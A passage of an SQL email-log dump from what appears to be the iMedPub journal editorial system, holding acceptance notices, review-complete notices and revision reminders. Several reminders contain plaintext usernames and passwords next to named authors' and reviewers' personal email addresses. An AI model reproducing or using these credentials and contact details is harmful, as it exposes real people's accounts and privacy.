Reminder','juanjfuentes@icloud.com',9999,'2021-11-23',274),(3950,'<p>Ref.:  Ms. No. : <b>ipadm-21-10147</b><br />\r\n<br />\r\nARTICLE TITLE: <b>PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACI&Atilde;&ldquo;N DEL PIE EN RIESGO Y SU INTERVENCI&Atilde;&ldquo;N OPORTUNA.</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Perez</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10147</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>christian</b><br />\r\npassword: <b>iKE6Y5ZN</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','christiand-perezc@unilibre.edu.co',10147,'2021-11-23',274),(3951,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11283</b><br />\r\n            <br />\r\n            Article Title: <b>Is heterogeneity in the nature of the mutation?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bilal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','bilalmichailovna@gmail.com',11283,'2021-11-23',988),(3952,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11281</b><br />\r\n            <br />\r\n            Article Title: <b>Adverse effects of the absorption of plant sterols.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bungay</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','larbun@gmail.com',11281,'2021-11-23',988),(3953,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11279</b><br />\r\n            <br />\r\n            Article Title: <b>Note on Chemotaxonomy an its classifications</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Nikoleishvili</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Nikoleishvili11@gmail.com',11279,'2021-11-23',988),(3954,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-11144</b><br />\r\n            <br />\r\n            Article Title: <b>Review: Impact of Dengue and vaccines in India</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>naik</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-23</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','arianaik16@gmail.com',11144,'2021-11-23',988),(3957,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11320</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge and Precautionary Measures of Healthcare Associated Infection among Patients in UNIOSUN Teaching Hospital, Osogbo. </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Fiyinfoluwa Aremu</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11320</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',11320,'2021-11-24',85),(3963,'<p>Ref.:  Ms. No. : <b>ipadm-21-9640</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Migration of an intrauterine device to the bladder: a case report</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Reyes Quan</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9640</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>javier</b><br />\r\npassword: <b>OeLbBSYD</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','jareq_9@hotmail.com',9640,'2021-11-26',274),(3964,'<p>Ref.:  Ms. No. : <b>ipadm-21-9999</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Reporte de casos sobre el uso de &Atilde;&iexcl;cido tranex&Atilde;&iexcl;mico para reducir el sangrado perioperatorio en liposucci&Atilde;&sup3;n y abdominoplastia </b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Fuentes-Alzate</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-9999</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>juan_jose</b><br />\r\npassword: <b>PKndjfHJ</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','juanjfuentes@icloud.com',9999,'2021-11-26',274),(3965,'<p>Ref.:  Ms. No. : <b>ipadm-21-10452</b><br />\r\n<br />\r\nARTICLE TITLE: <b>ENFOQUE Y MANEJO DE LA ENFERMEDAD DIARREICA AGUDA: REVISI&Atilde;&ldquo;N DE LA LITERATURA</b><br />\r\n<br />\r\nJOURNAL: <b>Archivos de Medicina</b><br />\r\n<br />\r\nDear <b>Dr. Beltr&Atilde;&iexcl;n Castro</b>,<br />\r\n<br />\r\nThe revision of <b>ipadm-21-10452</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>marvin</b><br />\r\npassword: <b>SmgVKofB</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></p>',1,'Author Revision Subsequent Reminder','marvinsbc@hotmail.com',10452,'2021-11-26',274),(3966,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11234</b><br />\r\n            <br />\r\n            Article Title: <b>Pathophysiology and Management of Neurogenic Pulmonary Edema in Patients with Acute Severe Brain Injury</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Kristin Sheehan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Mohammad </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11234</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> azizur_rahman<br />\r\n            <b>Password:</b> TvoCB74a<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','mohammadrahmandr@gmail.com',11234,'2021-11-27',85),(3967,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11234</b><br />\r\n            <br />\r\n            Article Title: <b>Pathophysiology and Management of Neurogenic Pulmonary Edema in Patients with Acute Severe Brain Injury</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Sheehan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-11-26</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','knsheeha@wakehealth.edu',11234,'2021-11-27',85),(3975,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11320</b><br />\r\n            <br />\r\n            Article Title: <b>Knowledge and Precautionary Measures of Healthcare Associated Infection among Patients in UNIOSUN Teaching Hospital, Osogbo. </b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Aremu</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipaom-21-11320</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivesofmedicine.com/\">https://www.archivesofmedicine.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>fiyinfoluwa</b><br />\r\n            Password : <b>NqG8cqR6</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','fiyinfoluwaa559@gmail.com',11320,'2021-11-30',85),(3977,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11093</b><br />\r\n            <br />\r\n            Article Title: <b>Use of Everolimus in Tuberous Sclerosis Related Renal Angiomyolipoma : Two Case Reports</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tu&Auml;&Yuml;rul Burak Gen&Atilde;&sect;</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-11093</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',11093,'2021-12-01',85),(3978,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11093</b><br />\r\n            <br />\r\n            Article Title: <b>Use of Everolimus in Tuberous Sclerosis Related Renal Angiomyolipoma : Two Case Reports</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Gen&Atilde;&sect;</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','drtugrulburakgenc@yandex.com',11093,'2021-12-01',85),(3979,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11804</b><br />\r\n            <br />\r\n            Article Title: <b>Hypertrophic Cardiomyopathy</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Dogan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dgzeytun@erincan.edu.tr',11804,'2021-12-02',85),(3980,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11801</b><br />\r\n            <br />\r\n            Article Title: <b>Diabetes Epidemiology</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pascal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pascaldavid@iupui.edu',11801,'2021-12-02',85),(3981,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11795</b><br />\r\n            <br />\r\n            Article Title: <b>Hemiplegic Cerebral Palsy causes and its Treatment</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pascal</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','pascaldavid@iupui.edu',11795,'2021-12-02',85),(3983,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11120</b><br />\r\n            <br />\r\n            Article Title: <b>Isolation of Pseudomonas aeruginosaphages from Residential waste waters</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Onuigbo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ebele.onuigbo@unn.edu.ng',11120,'2021-12-03',48),(3984,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-11816</b><br />\r\n            <br />\r\n            Article Title: <b>Drug Reactions Offending the Kidney</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Christian</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-12-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','christiancombe@inserm.fr',11816,'2021-12-03',85),(3985,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid 